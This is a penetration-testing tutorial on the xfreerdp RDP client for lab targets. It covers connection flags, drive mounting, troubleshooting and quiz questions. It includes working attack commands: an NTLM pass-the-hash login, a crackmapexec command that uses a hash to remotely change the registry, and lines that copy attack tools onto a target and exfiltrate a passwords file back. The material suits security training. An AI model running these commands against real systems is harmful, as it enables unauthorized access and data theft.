xfreerdp
Open-source RDP client for Linux. Full GUI desktop access to Windows machines with drive mounting, clipboard sharing, and pass-the-hash support. The only way to get a graphical session from a Linux attack box.
What is it?
xfreerdp is a command-line RDP (Remote Desktop Protocol) client that runs on Linux. It connects to Windows machines on port 3389 and gives you a full graphical desktop session, the same thing as if you sat down at the machine and logged in.
Unlike tools like evil-winrm or psexec that give you a command-line shell, xfreerdp gives you the actual Windows desktop. You can see the GUI, interact with applications that have no CLI, browse files visually, and run tools that require a graphical interface.
Key capabilities beyond basic RDP:
- Drive mounting: share a local Linux folder into the Windows session so you can transfer files both ways
- Pass-the-hash: authenticate with an NTLM hash instead of a plaintext password
- Restricted admin mode: connect without sending your credentials to the remote machine (prevents credential theft)
- Dynamic resolution: resize the window and the remote desktop adapts
- Clipboard sharing: copy/paste between your Linux host and the Windows session
Run this first
Single quotes around the password stop your shell from interpreting special characters.
$ xfreerdp /v:10.10.10.10 /u:jsmith /p:'Password123!' /cert:ignore
/v:is the server./u: and /p:are the username and password./cert:ignoreaccepts the target's self-signed certificate so it does not stop to ask. That is normal on lab targets, where every certificate is self-signed.
Add /d:CORP for a domain account, and /dynamic-resolution so the desktop resizes with the window. The account must be in the Remote Desktop Users group or be a local admin.
Certificate details for 10.10.10.10:3389 (RDP-Server): Common Name: DC01.corp.local <-- the hostname, worth noting even if you trust it Subject: CN = DC01.corp.local Issuer: CN = DC01.corp.local The above X.509 certificate could not be verified... Do you trust this certificate? (Y/T/N) <-- this prompt is exactly what /cert:ignore skips
When do you use it?
xfreerdp is your go-to when you need a full GUI session on a Windows target. Here's when it matters:
- Port 3389 is open and you have valid credentials or an NTLM hash
- You need GUI access: some applications (SSMS, MMC snap-ins, ADUC) only work graphically
- WinRM is blocked: only RDP is available (common in hardened environments)
- You need to transfer files: drive mounting is simpler than evil-winrm upload/download for bulk transfers
- You want to run tools interactively: some exploits or tools need a desktop session
- You're collecting evidence: screenshots of a GUI session prove access clearly
| Scenario | Best tool | Why |
|---|---|---|
| Need a quick shell + file transfer | evil-winrm | Lighter, faster, no GUI overhead |
| Need full GUI desktop | xfreerdp | Only tool that gives you the actual desktop |
| Need SYSTEM-level exec | psexec | RDP gives you user-level, psexec gives SYSTEM |
| Need stealthy remote exec | wmiexec | No GUI, minimal footprint |
| Only port 3389 open | xfreerdp | No other choice: RDP is the only way in |
Connection basics
Standard connection with password
# Basic connection: always use /cert:ignore on lab/pentest targets $ xfreerdp /v:10.10.10.10 /u:jsmith /p:'Password123!' /cert:ignore # With domain specified $ xfreerdp /v:10.10.10.10 /u:jsmith /p:'Password123!' /d:CORP /cert:ignore # Flags explained: # /v: = target IP or hostname # /u: = username # /p: = password (wrap in single quotes for special chars) # /d: = domain name # /cert:ignore = skip TLS certificate validation (self-signed certs)
Without /cert:ignore, xfreerdp will prompt you to accept the self-signed certificate. In CPTS labs, every target uses self-signed certs. Forgetting this flag will hang your connection waiting for input you can't provide in some automation contexts.
Connection with useful options
# The "kitchen sink" command, everything you usually want $ xfreerdp /v:10.10.10.10 /u:jsmith /p:'Password123!' /d:CORP \ /cert:ignore \ /dynamic-resolution \ /clipboard \ /drive:share,/tmp/transfer # /dynamic-resolution = resize the desktop when you resize the window # /clipboard = enable copy/paste between host and remote # /drive:share,/path = mount /tmp/transfer as a network share in Windows
Drive mounting for file transfer
Drive mounting is one of xfreerdp's killer features. It makes a local Linux directory appear as a network drive inside the Windows session, allowing bidirectional file transfer.
# Create a transfer directory and mount it $ mkdir -p /tmp/transfer $ xfreerdp /v:10.10.10.10 /u:admin /p:'Pass123!' /cert:ignore \ /drive:share,/tmp/transfer # Inside the Windows session, the share appears at: # \\tsclient\share # Or in File Explorer under "This PC" → "share on tsclient"
Upload to target: Put files in /tmp/transfer on your Linux box before connecting. Inside Windows, access them at \\tsclient\share.
Download from target: Inside Windows, copy files to \\tsclient\share. They appear in /tmp/transfer on your Linux box.
This is often faster and easier than evil-winrm's upload/download for transferring tools, loot, or entire directories.
# Copy a tool from your attacker machine to the target PS> copy \\tsclient\share\SharpHound.exe C:\Users\jsmith\Desktop\ # Exfiltrate data back to your attacker machine PS> copy C:\Users\jsmith\Documents\passwords.xlsx \\tsclient\share\
Pass-the-hash with RDP
xfreerdp supports pass-the-hash: you can authenticate with an NTLM hash instead of a password. This is critical when you've dumped hashes with secretsdump or Mimikatz but haven't cracked the password.
# Pass-the-hash requires Restricted Admin mode enabled on target $ xfreerdp /v:10.10.10.10 /u:administrator /d:CORP \ /pth:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f \ /cert:ignore /dynamic-resolution # /pth: takes the full LM:NT hash or just the NT hash # Only the NT hash part matters (after the colon)
RDP pass-the-hash only works if Restricted Admin mode is enabled on the target. If it's not enabled, the connection will fail with "ERRCONNECT_LOGON_FAILURE". You can enable it remotely if you have command execution:
# Enable Restricted Admin via registry (requires admin on target) $ crackmapexec smb 10.10.10.10 -u admin -H 'aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f' \ -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0 /f' # Now PTH via RDP will work
- Normal RDP: Your credentials are sent to the remote machine and cached in LSASS. An attacker on that machine can dump them with Mimikatz
- Restricted Admin: Your credentials are NOT sent to the remote machine. You authenticate locally, and the session uses the machine's identity for network access
- Tradeoff: In Restricted Admin mode, you can't access network resources as yourself (you appear as the machine account). But your password/hash is safe from credential theft
Resolution and display options
# Dynamic resolution: desktop resizes with your window $ xfreerdp /v:10.10.10.10 /u:admin /p:'Pass!' /cert:ignore /dynamic-resolution # Fixed resolution $ xfreerdp /v:10.10.10.10 /u:admin /p:'Pass!' /cert:ignore /w:1920 /h:1080 # Fullscreen mode $ xfreerdp /v:10.10.10.10 /u:admin /p:'Pass!' /cert:ignore /f # Ctrl+Alt+Enter already toggles fullscreen, it's built into /f, nothing extra to pass
Common connection issues
| Error | Cause | Fix |
|---|---|---|
ERRCONNECT_CONNECT_TRANSPORT_FAILED | Can't reach port 3389 | Verify port 3389 is open with nmap. Check firewall rules |
ERRCONNECT_LOGON_FAILURE | Bad credentials or PTH without Restricted Admin | Verify creds work via SMB first. Enable Restricted Admin for PTH |
ERRCONNECT_SECURITY_NEGO_CONNECT_FAILED | TLS/security negotiation failed | Add /sec:tls or /sec:rdp or /sec:nla |
| Black screen after login | Another user is already connected (on non-server editions) | Disconnect the other session or use /admin flag |
| Drive not appearing in Windows | Drive redirection blocked by Group Policy | Check if fDisableCdm is set in registry. Try a different transfer method |
ERRINFO_LOGOFF_BY_USER | A console user on the machine clicked "disconnect" | Reconnect: session was forcibly disconnected |
1. Verify port 3389 is open: nmap -p 3389 target. 2. Test creds via SMB: crackmapexec smb target -u user -p pass. 3. Try different security modes: add /sec:tls or /sec:nla. 4. Check if NLA is required: some configs need /sec:nla explicitly.
Common mistakes
- Forgetting /cert:ignore: Every lab target has a self-signed cert. Without this flag, xfreerdp prompts for confirmation which can hang automation
- PTH without Restricted Admin: RDP pass-the-hash requires Restricted Admin mode. If you get LOGON_FAILURE with a known-good hash, this is probably why
- Special characters in passwords: Wrap the password in single quotes. Characters like
!,$,&get interpreted by bash otherwise - Not creating transfer dir first: The
/drivepath must exist before you connect.mkdir -p /tmp/transferfirst - Trying to RDP as a non-RDP user: Not every account can RDP. The user must be in the "Remote Desktop Users" group or be a local admin
- Disconnecting non-server Windows: Windows 10/11 only allows one interactive session. Connecting kicks off the current user, they'll notice
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
Why wrap the password in single quotes?
!, $ and & are interpreted by bash otherwise.RDP pass-the-hash fails with LOGON_FAILURE although the hash is correct. What is the likely cause?
The drive share does not appear. What did you probably forget?
/drive:share,/tmp/transfer must exist before you connect, so run mkdir -p /tmp/transfer first.